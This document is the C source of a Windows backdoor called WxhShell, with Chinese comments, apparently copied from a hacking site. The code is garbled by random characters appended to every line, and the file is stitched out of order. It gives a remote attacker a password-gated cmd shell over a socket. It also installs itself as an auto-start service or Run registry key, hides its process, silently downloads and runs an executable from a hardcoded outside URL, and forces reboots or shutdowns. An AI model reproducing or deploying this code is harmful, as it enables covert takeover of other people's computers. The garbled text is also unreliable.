    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %mda=%Yn  
    if(Boot(SHUTDOWN)) x7s75  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $jDp ^ -  
    else { /y \KLa  
    closesocket(wsh); Ff\U]g  
    ExitThread(0); 3j2% '$>E^  
    } #Moju  
    break; f y|Ae  
    } mST/u>'  
  // 获取shell -6+&?f  
  case 's': { oXR%A7  
    CmdShell(wsh); o,fBOPIN  
    closesocket(wsh); ^c9~~m16+  
    ExitThread(0); *d,u)l :S  
    break; 9tnW:Nw~  
  } D;V FM P  
  // 退出 =a_B'^`L  
  case 'x': { }tIIA"dZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @jE<V=?  
    CloseIt(wsh); RyGce' q  
    break; ya9V+/i7T_  
    } |!\(eLR9>  
  // 离开 <*Kj7o{Qn  
  case 'q': { wec |~Rc-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8bB'[gJ]{  
    closesocket(wsh); J% B(4`  
    WSACleanup(); 7[l "=  
    exit(1); Dl3Df u8  
    break; ~6nq$(#  
        } ]i=\5FH e  
  } kpkN GQ2  
  } [hf#$Dl |  
(i,TxjS'od  
  // 提示信息 FS%Xq-c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0<+=Ew5Z  
} crJyk#_  
  } OG_2k3v  
zl: 5_u=T  
  return; W@^O'&3d  
} H1,;Xrm  
aF:_1. LC  
// shell模块句柄 p5!=Ur&A c  
int CmdShell(SOCKET sock) pP&TFy#G+'  
{ A22h+8yG  
STARTUPINFO si; s!q6OVJ-  
ZeroMemory(&si,sizeof(si)); o)P'H"Ki  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y9TaU]7]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [T;0vv8  
PROCESS_INFORMATION ProcessInfo; O)'Bx=S4Ke  
char cmdline[]="cmd"; pI>i1f=W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m CFScT  
  return 0; zY<=r.m4  
} c}II"P  
C?bq7kD:H  
// 自身启动模式 ^/wvHu[#  
int StartFromService(void) 1{oq8LB  
{ p;dH[NW  
typedef struct a X>bC-  
{ BzqM$F( L,  
  DWORD ExitStatus; |pv:'']J  
  DWORD PebBaseAddress; Qa nE]  
  DWORD AffinityMask; 9=D\xBd|w  
  DWORD BasePriority; pJ6Z/3]  
  ULONG UniqueProcessId; a;Q6S  
  ULONG InheritedFromUniqueProcessId; -<gGNj.x-  
}   PROCESS_BASIC_INFORMATION; |0?h6  
Y~T;{&wi  
PROCNTQSIP NtQueryInformationProcess; K.cMuh  
H|4O`I;~(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DiyviH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +$:bzo_u  
CT@JNG$<"  
  HANDLE             hProcess; .kSx>3  
  PROCESS_BASIC_INFORMATION pbi; @N`) Z3P+  
Y!LcS48X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C>q,c3s5  
  if(NULL == hInst ) return 0; V:rq}F}  
**V^8'W<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ">}l8MA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y K~;LV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1!"0fZh9U  
)+c4n]  
  if (!NtQueryInformationProcess) return 0; )W!8,e+%  
8[SiIuIV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [kx_Izi/T  
  if(!hProcess) return 0; GZ# 6}/;b  
gaaW:**y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0^4uZeW?  
ZPWY0&9  
  CloseHandle(hProcess); ~^QL"p:5|  
LlP_`fA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s+>VqyHgf  
if(hProcess==NULL) return 0; U+t|wK  
Gxu&o%x [  
HMODULE hMod; dUOvv/,FZT  
char procName[255]; kAbRXID  
unsigned long cbNeeded; C2;qSKG3{m  
0FfBD[E:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &k+G^ !=s#  
Paz yY   
  CloseHandle(hProcess); xQX,1NbH5  
jk2h"):B>  
if(strstr(procName,"services")) return 1; // 以服务启动 zhbp"yju7  
9 WsPBzi"T  
  return 0; // 注册表启动 $d M: 5y  
} [vkz<sL"  
M7 &u_Cn?  
// 主模块 E~5r8gM,0  
int StartWxhshell(LPSTR lpCmdLine) .L[WvAo  
{ F i?2sa  
  SOCKET wsl; L-\-wXg%  
BOOL val=TRUE; 0x!XE|7I  
  int port=0; Yhl {'  
  struct sockaddr_in door; 3Xgf=yG:M  
$:kG>R@\t  
  if(wscfg.ws_autoins) Install(); \TS t  
3!M;Z7qF]  
port=atoi(lpCmdLine); beFVjVVHq  
rr fL [  
if(port<=0) port=wscfg.ws_port; U7d%*g  
|e@9YDZ  
  WSADATA data; J&w%lYiu5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K^bzZa+a  
E]`)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jy`jxOoG~Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F|q-ZlpW-  
  door.sin_family = AF_INET; r- 0BLq]~{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i|PQNhUe  
  door.sin_port = htons(port); AK\X{>$a!  
keNPlK%>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mHjds77e  
closesocket(wsl); pIdJ+gu(s  
return 1; |[n-H;0  
} ^'Wkb7L  
n<6p0w  
  if(listen(wsl,2) == INVALID_SOCKET) { 1J<Wth{  
closesocket(wsl); A6Ttx{]  
return 1; w*[i!i  
} "/Fp_g6#:  
  Wxhshell(wsl); _V6jn~N  
  WSACleanup(); lj $\2 B  
ab8uY.j  
return 0; *[jG^w0z8~  
]Ln2|$R  
} z"8%W?o>  
WmTSxneo  
// 以NT服务方式启动 rD)yEuYX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8MgoAX,p  
{ )tGeQXVhbJ  
DWORD   status = 0; u"r~5  
  DWORD   specificError = 0xfffffff; pOQ'k>!  
sJ)XoK syW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ''S*B|:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4`5jq)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jr m<u t  
  serviceStatus.dwWin32ExitCode     = 0; WUx}+3eWv  
  serviceStatus.dwServiceSpecificExitCode = 0; rH7|r\]r  
  serviceStatus.dwCheckPoint       = 0; ~Emeo&X  
  serviceStatus.dwWaitHint       = 0; 3eQ-P8LS  
Qrjo@_+w!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J<Di2b+  
  if (hServiceStatusHandle==0) return; `9rwu:3i  
S(Md  
status = GetLastError(); < U`lh  
  if (status!=NO_ERROR) M7{w7}B0@  
{ 8X`iMFa.P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :RR<-N5+  
    serviceStatus.dwCheckPoint       = 0; p%~#~5t,  
    serviceStatus.dwWaitHint       = 0; 'F3Xb  
    serviceStatus.dwWin32ExitCode     = status; r=6-kC!T9  
    serviceStatus.dwServiceSpecificExitCode = specificError; l<qK' P4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~F?s\kp6  
    return; K.c6n,'  
  } 8<ZxE(v  
=!m5'$Uz>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x'_I{$C &  
  serviceStatus.dwCheckPoint       = 0; %[0V>  
  serviceStatus.dwWaitHint       = 0; |SC^H56+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VE5w!of  
} KCd}N  
%cMX]U  
// 处理NT服务事件,比如:启动、停止 ?WE#%W7U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n[ip'*2L  
{ E>f+E8?  
switch(fdwControl) B9pro%R1Bo  
{ :4s{?IY)l  
case SERVICE_CONTROL_STOP: :GXiA  
  serviceStatus.dwWin32ExitCode = 0; ?.E6Ube  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^6s<  
  serviceStatus.dwCheckPoint   = 0; )8vz4e Y  
  serviceStatus.dwWaitHint     = 0; @Z> {/  
  { ]TQ2PVN2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v'uWmL7C  
  } j:K>3?   
  return; eAN]*: ]g  
case SERVICE_CONTROL_PAUSE: s^+h>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P F#+G;q;  
  break; 4E]w4BG)  
case SERVICE_CONTROL_CONTINUE: _MQ)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zyxr#:Qm  
  break; ,>lOmyh  
case SERVICE_CONTROL_INTERROGATE: j\& `  
  break; *4#)or  
}; ,.[T]37  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Kgw6  
} S~L$sqt  
rC.z772y%  
// 标准应用程序主函数 {/`iZzPg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I$!rNfrs  
{ @NlE2s6a  
`Yn:fL7S  
// 获取操作系统版本 m` ^o<V&  
OsIsNt=GetOsVer(); (UWWULV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8&?Kg>M  
| Qo`K%8  
  // 从命令行安装 :N$^x /{  
  if(strpbrk(lpCmdLine,"iI")) Install(); vgY ) L  
<uZ r.X  
  // 下载执行文件 vw VeHjR  
if(wscfg.ws_downexe) { F#_JcEE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U@21N3_@_  
  WinExec(wscfg.ws_filenam,SW_HIDE);  SyFw  
} y J*`OU#  
21'I-j  
if(!OsIsNt) { tE3#Uq  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^`>,~$Q  
HideProc(); /f_w@TR\{  
StartWxhshell(lpCmdLine); 3lzjY.]Pgv  
} CY~]lQ  
else xl [3*K   
  if(StartFromService()) C3q}Dh+]  
  // 以服务方式启动 U;QTA8|!&  
  StartServiceCtrlDispatcher(DispatchTable); dbM~41C6  
else ssaEAm:  
  // 普通方式启动 Ji4xor  
  StartWxhshell(lpCmdLine); Cw7 07  
h[~JCYA  
return 0; +(n&>7 5  
} ?O3E.!Q|  
{a aI<u  
<QbD ;(%  
Kn-cwz5  
=========================================== "ee:Z_Sz  
ybLl[K(D=  
2F* spu  
278:5yC  
kN(*.Q|VZ  
o2M+=O@  
" ~ 8L]!OQ9=  
T DOOq;+  
#include <stdio.h> k4:$LFw@  
#include <string.h> (jb9Uk_t  
#include <windows.h> D5lzrpg_e  
#include <winsock2.h> dqF]kP,VG  
#include <winsvc.h> IoO tn  
#include <urlmon.h> BfZAK0+*$  
3 RB+  
#pragma comment (lib, "Ws2_32.lib") .j"iJ/  
#pragma comment (lib, "urlmon.lib") }j<:hD QP  
SFhi]48&V  
#define MAX_USER   100 // 最大客户端连接数 x!5b" "  
#define BUF_SOCK   200 // sock buffer ; kPx@C   
#define KEY_BUFF   255 // 输入 buffer SOE 5`  
5cj]Y)I-~  
#define REBOOT     0   // 重启 B(tLV9B3Q  
#define SHUTDOWN   1   // 关机 C \"nlNKw  
)F _vWbg  
#define DEF_PORT   5000 // 监听端口 WUOoK$I~K  
A^lJlr:_`  
#define REG_LEN     16   // 注册表键长度 c;siMWw;  
#define SVC_LEN     80   // NT服务名长度 &b :u~puM  
JX4uH>6  
// 从dll定义API <ZmC8&Uo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dy/\>hu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5cahbx1"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~,#zdm1r@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l0Rjq*5hJ  
y04md A6<  
// wxhshell配置信息 ~N "rr.w  
struct WSCFG { \S #Mc  
  int ws_port;         // 监听端口 &1nZ%J9  
  char ws_passstr[REG_LEN]; // 口令 z+3G zDLy  
  int ws_autoins;       // 安装标记, 1=yes 0=no HURr k~[  
  char ws_regname[REG_LEN]; // 注册表键名 iCd$gwA>F  
  char ws_svcname[REG_LEN]; // 服务名 Pw c)u&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d^uE4F}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,Dh+-}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KX8$j$yW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FPAy.cljJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `FS)i7-o6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?\ Fo|__  
yFt$L'#  
}; )?_x$GKY  
`D *U@iJ  
// default Wxhshell configuration LPuc&8lGWf  
struct WSCFG wscfg={DEF_PORT, wXUP%i]i=  
    "xuhuanlingzhe", O*qSc^9q  
    1, Ml-GAkgG  
    "Wxhshell", +]?/c>M  
    "Wxhshell", wWq(|"  
            "WxhShell Service", jLc"1+  
    "Wrsky Windows CmdShell Service", &Bn> YFu  
    "Please Input Your Password: ", + t%[$"$  
  1, Ltk'`  
  "http://www.wrsky.com/wxhshell.exe", {B;<R1  
  "Wxhshell.exe" tjONN(K`  
    }; 3K)12x$.K  
(29h{=P'  
// 消息定义模块 qH 1k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a4a/]q4T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <]: X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6Bv!t2  
char *msg_ws_ext="\n\rExit."; lI,lR  
char *msg_ws_end="\n\rQuit."; Q4~/Tl;  
char *msg_ws_boot="\n\rReboot..."; [Eq7!_ 3  
char *msg_ws_poff="\n\rShutdown..."; |A .U~P):  
char *msg_ws_down="\n\rSave to "; {TmrWFo  
n,,hE_  
char *msg_ws_err="\n\rErr!"; #.Q3}[M  
char *msg_ws_ok="\n\rOK!"; 9^yf'9S1  
u/s,#  
char ExeFile[MAX_PATH]; "6^~-` O  
int nUser = 0; (w1M\yodV  
HANDLE handles[MAX_USER]; <[*%d~92z  
int OsIsNt; ,Z3 (`ftC  
;JpsRf!  
SERVICE_STATUS       serviceStatus; >JSk/]"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NY(z 3G  
5Q/&,NP  
// 函数声明 !UzMuGj  
int Install(void); 8%+F.r  
int Uninstall(void); 3bWYRW  
int DownloadFile(char *sURL, SOCKET wsh); B|fh 4FNy  
int Boot(int flag); v d{`*|x  
void HideProc(void); ;FQ<4PR$  
int GetOsVer(void); k 4HE'WY  
int Wxhshell(SOCKET wsl); S*aMUV&  
void TalkWithClient(void *cs); \r.{Ru  
int CmdShell(SOCKET sock); K^z u{`S  
int StartFromService(void); i>*|k]  
int StartWxhshell(LPSTR lpCmdLine); wSV}{9}wr%  
/JcfAY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~8oti4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8D H~~by  
Sa8KCWgWh  
// 数据结构和表定义 U{`Q_Uw@$:  
SERVICE_TABLE_ENTRY DispatchTable[] = 7%MD0qm-  
{ e7O9q8b  
{wscfg.ws_svcname, NTServiceMain}, J2_~iC&;s  
{NULL, NULL} sY- ] Q  
}; T"bH{|:%*=  
:m&cm%W]ts  
// 自我安装 w4AA4u  
int Install(void) Bd++G'FZ  
{ t^k^e{,q#  
  char svExeFile[MAX_PATH]; z~m{'O`  
  HKEY key; Q  *]d[  
  strcpy(svExeFile,ExeFile); l* ap$1'  
g +RgDt9  
// 如果是win9x系统,修改注册表设为自启动 ^CBc~um2  
if(!OsIsNt) { 9Z[EzKd<~'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uc~/l4~N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {0(:5%  
  RegCloseKey(key); )'1rZb5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1H-d<G0)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n)<S5P?  
  RegCloseKey(key); ELvP<Ny}  
  return 0; Hxr)`i46  
    } Z[Z3x6 6  
  } q,Nhfo(  
}  /N8>>g  
else { .#OD=wkN0  
2 -C*RHRx  
// 如果是NT以上系统,安装为系统服务 I$y6N"|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w7d<Ky_C  
if (schSCManager!=0) o9XT_!Cwg  
{ ! ^ DQX=1  
  SC_HANDLE schService = CreateService dSP~R  
  ( K*/X{3J;  
  schSCManager, c/'Cju W  
  wscfg.ws_svcname, Iq?#kV9)  
  wscfg.ws_svcdisp, qlU"v)Mx  
  SERVICE_ALL_ACCESS, /19ZyQw9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]?<=DHn  
  SERVICE_AUTO_START, 6Trtulm  
  SERVICE_ERROR_NORMAL, !H^e$BA  
  svExeFile, T?4I\SG  
  NULL, LkwjEJQf  
  NULL, sX c|++  
  NULL, h>:eu#  
  NULL, 3UNmUDl[~  
  NULL c$fYK  
  ); lP;X=X>  
  if (schService!=0) =>m x>R`S  
  { ~Qm<w3oy  
  CloseServiceHandle(schService); nYb{?{_ca8  
  CloseServiceHandle(schSCManager); dR GgiQO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EpCT !e  
  strcat(svExeFile,wscfg.ws_svcname);  %>z)Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l h]Q\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hM NC]  
  RegCloseKey(key); JBK(N k  
  return 0; C[JGt 9{Y  
    } }~O`(mnD}K  
  } \2^_v' >K  
  CloseServiceHandle(schSCManager); ;%<R>gDWv  
} R^f-j-$o]  
} \1MMz Z4rf  
8h '~*  
return 1; z#u<]] 5  
} N]|P||fC  
AM:lU  
// 自我卸载 *=)kR7,]9d  
int Uninstall(void) >g+e`!;6  
{ 2 )F~  
  HKEY key; w7e+~8|  
*%aWGAu:  
if(!OsIsNt) { Z[GeU>?P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5<77o|  
  RegDeleteValue(key,wscfg.ws_regname); KM9)  
  RegCloseKey(key); $gPR3*0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ',l}$]y5  
  RegDeleteValue(key,wscfg.ws_regname); iebnQf  
  RegCloseKey(key); LSlYYyt  
  return 0; 7H$wpn Zln  
  } 9k*1_  
} Mrly(*!U"@  
} sIz*r Gz  
else { :YUQKy  
GS qt:<Qs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V+>.Gf  
if (schSCManager!=0) pRc<U^Z.h  
{ =%ry-n G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P+gY LX8  
  if (schService!=0) N6<G`k,  
  { \sc's7  
  if(DeleteService(schService)!=0) { >mCS`D8  
  CloseServiceHandle(schService); egn9O  
  CloseServiceHandle(schSCManager); l|" SM6  
  return 0; V6a+VfH  
  } 3cB=9Y{<  
  CloseServiceHandle(schService); 1<E:`,Mn?  
  } | HfN<4NL  
  CloseServiceHandle(schSCManager); eZv G  
} uD8,E!\  
} %$ ^ eY'-'  
}pOJM &I  
return 1; qu+Zl1~$]  
} LQDU8[-  
S&z8-D=8k  
// 从指定url下载文件 jA,| .P>  
int DownloadFile(char *sURL, SOCKET wsh) %Q.|qyq  
{ )mh,F# "L  
  HRESULT hr; Nu4PY@m]C  
char seps[]= "/"; Kq&JvY^  
char *token; ?5Q_G1H&  
char *file; Br}0dha3E  
char myURL[MAX_PATH]; u8N"i),  
char myFILE[MAX_PATH]; Xd@_:ds  
" LkI'>3}  
strcpy(myURL,sURL); 0`~#H1TK  
  token=strtok(myURL,seps); 0~=>:^H'`q  
  while(token!=NULL) JL:\\JT.  
  { ,k+F8{Q.  
    file=token; ?:c:D5N  
  token=strtok(NULL,seps); +WfO2V.  
  } <-s5 ;xwtS  
D]*<J"/]d  
GetCurrentDirectory(MAX_PATH,myFILE); q 7aH=dhw  
strcat(myFILE, "\\"); m5kt O^EU  
strcat(myFILE, file); GI[XcK^*w  
  send(wsh,myFILE,strlen(myFILE),0); `\M}~  
send(wsh,"...",3,0); aC,?FWm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cM;,nX%/  
  if(hr==S_OK) CMviR<.  
return 0; Q)%a2s;  
else |N+uEiJ  
return 1; 35 3*D%8  
WX}pBmU  
} vf/|b6'y  
Ek,$XH  
// 系统电源模块 mY0FewwTy  
int Boot(int flag) *]+5T-R% $  
{ rpM jDjW  
  HANDLE hToken; /~}<[6ZGCY  
  TOKEN_PRIVILEGES tkp; .EdQ]c-E=  
>O/1Lpl.3  
  if(OsIsNt) { %P HYJc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %?i~`0-:n%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BU=;rz!;  
    tkp.PrivilegeCount = 1; Z O\x|E!b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~ "stI   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]Z=O+7(r  
if(flag==REBOOT) { ! ~3zp L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "S^ ""5  
  return 0; g$9EI\a  
} %Z!3[.%F  
else { V m]u-R`{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :7DXLI|L#?  
  return 0; CoTe$C7  
} |\6Ff/O  
  } DQyy">]Mh  
  else {  mm9xO%  
if(flag==REBOOT) { L/7YI\C2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zOsk'ZE&  
  return 0; _6Qb 3tl  
} (\*+HZ`(Uu  
else { hVf;{p &  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P`]p&:  
  return 0; q-R'5p\C?|  
} (^9dp[2  
} 2x<4&^  
0o_wy1O1,  
return 1; -_+,HyJP  
} O]%Vh l  
j5~nLo2  
// win9x进程隐藏模块 apw/nhQ.[  
void HideProc(void) |]+PDc%  
{ ^J?y mo$>0  
[a!*m<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z!>ml3  
  if ( hKernel != NULL ) Rr"D)|Y;C(  
  { *z6m644H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1vUW$)?X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =+"=|cQ  
    FreeLibrary(hKernel); K3-Cuku  
  } 8XhGo2zf  
y_}jf,b4  
return; f,0,:)  
} ZxU3)`O  
XI7:y4M  
// 获取操作系统版本 N)Qz:o0W  
int GetOsVer(void) +p):   
{ !bQqzny$R  
  OSVERSIONINFO winfo; " 'TEBkj|u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rUWC=?Q  
  GetVersionEx(&winfo); ^<w3i?KPW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {1m.d;(1  
  return 1; XO,gEn&6V  
  else tA{?-5  
  return 0; xXfFi5Eom  
} zot_ jSV  
$Fik]TbQp  
// 客户端句柄模块 ,Uu#41ZOKL  
int Wxhshell(SOCKET wsl) 6):iu=/i/  
{ gSt'<v  
  SOCKET wsh; X].Igb)2  
  struct sockaddr_in client; 7kq6VS;p  
  DWORD myID; [&K"OQ^\2h  
N= {0A  
  while(nUser<MAX_USER) kJK:1;CM?.  
{ ZDTp/5=?K/  
  int nSize=sizeof(client); ]B=2r^fn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WYY&MHp  
  if(wsh==INVALID_SOCKET) return 1; [$FiXH J  
4">C0m;ks  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JxLSQ-"  
if(handles[nUser]==0) p$1y8Zbor  
  closesocket(wsh); H0?Vq8I?  
else BX-fV|  
  nUser++; >%i]p  
  } |tdsg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H#FH '@J  
\oy8)o/Gb  
  return 0; l$J2|\M6  
} 9f_Qs4  
qJYEsI2M  
// 关闭 socket `z~L0h  
void CloseIt(SOCKET wsh) 8;Eg>_cL:  
{ b2G1@f.U  
closesocket(wsh); y.+!+4Mg|  
nUser--; Tv /?-`Y  
ExitThread(0); 8Q\ T,C  
} K\y W{y1  
8Y&_X0T|  
// 客户端请求句柄 se`^g ,]P  
void TalkWithClient(void *cs) ql(~3/kA_  
{ )bR`uV9<  
[6cf$FS9  
  SOCKET wsh=(SOCKET)cs; )A=&3Ui)ab  
  char pwd[SVC_LEN]; -@?4Tfl  
  char cmd[KEY_BUFF]; .BrYz:#A  
char chr[1]; 2 3*OuY  
int i,j; >o|.0aw<  
3R6=C~  
  while (nUser < MAX_USER) { I|R;)[;X  
VGeyZ\vU  
if(wscfg.ws_passstr) { 6<{XwmM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 jiy9 [  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *(CV OY~  
  //ZeroMemory(pwd,KEY_BUFF); $[{YE[a  
      i=0; 7Kn}KO!Y8  
  while(i<SVC_LEN) { uE-|]QQo  
~U<=SyZYo  
  // 设置超时 WIYWql>*  
  fd_set FdRead; dj5@9X  
  struct timeval TimeOut; Twq,6X-  
  FD_ZERO(&FdRead); `!lQd}W  
  FD_SET(wsh,&FdRead); 'A)9h7k}  
  TimeOut.tv_sec=8; LQXMGgp  
  TimeOut.tv_usec=0; yL"UBe}v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +!eh\.u|]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;kR+jC(  
pz,iQUs _o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X^7n/|%*.  
  pwd=chr[0]; 3eR c>^wh  
  if(chr[0]==0xd || chr[0]==0xa) { 0^mCj<g  
  pwd=0; B(,j*,f  
  break; RLR\*dL1  
  } !T RU  
  i++; y[d>7fcf  
    } KkyZd9  
'QQa :3<x  
  // 如果是非法用户,关闭 socket WWN2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $64sf?aZ>#  
} ?d`j}  
(\M+E tU<9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HL~DIC%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AGK{t+`  
"V{v*Aei0  
while(1) { cn2SMa[@S  
(R-(  
  ZeroMemory(cmd,KEY_BUFF); dlCmSCp%  
`{  ` W-C  
      // 自动支持客户端 telnet标准   ^\7GFpc  
  j=0; Mc /= Fs  
  while(j<KEY_BUFF) { 2|$G<f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !<= ^&\A  
  cmd[j]=chr[0]; @ GXi{9  
  if(chr[0]==0xa || chr[0]==0xd) { ujh`&GiB+  
  cmd[j]=0; !;E{D  
  break; wH]Y1 m  
  } 'W*ODAz6  
  j++; ~ As_O6JI  
    } ,QPo%{:p  
ChRCsu~  
  // 下载文件 O ~D]C  
  if(strstr(cmd,"http://")) { grTwo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y@9ifFr  
  if(DownloadFile(cmd,wsh)) 1!&m1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u$ff %`E  
  else ,Y`TP4Ip  
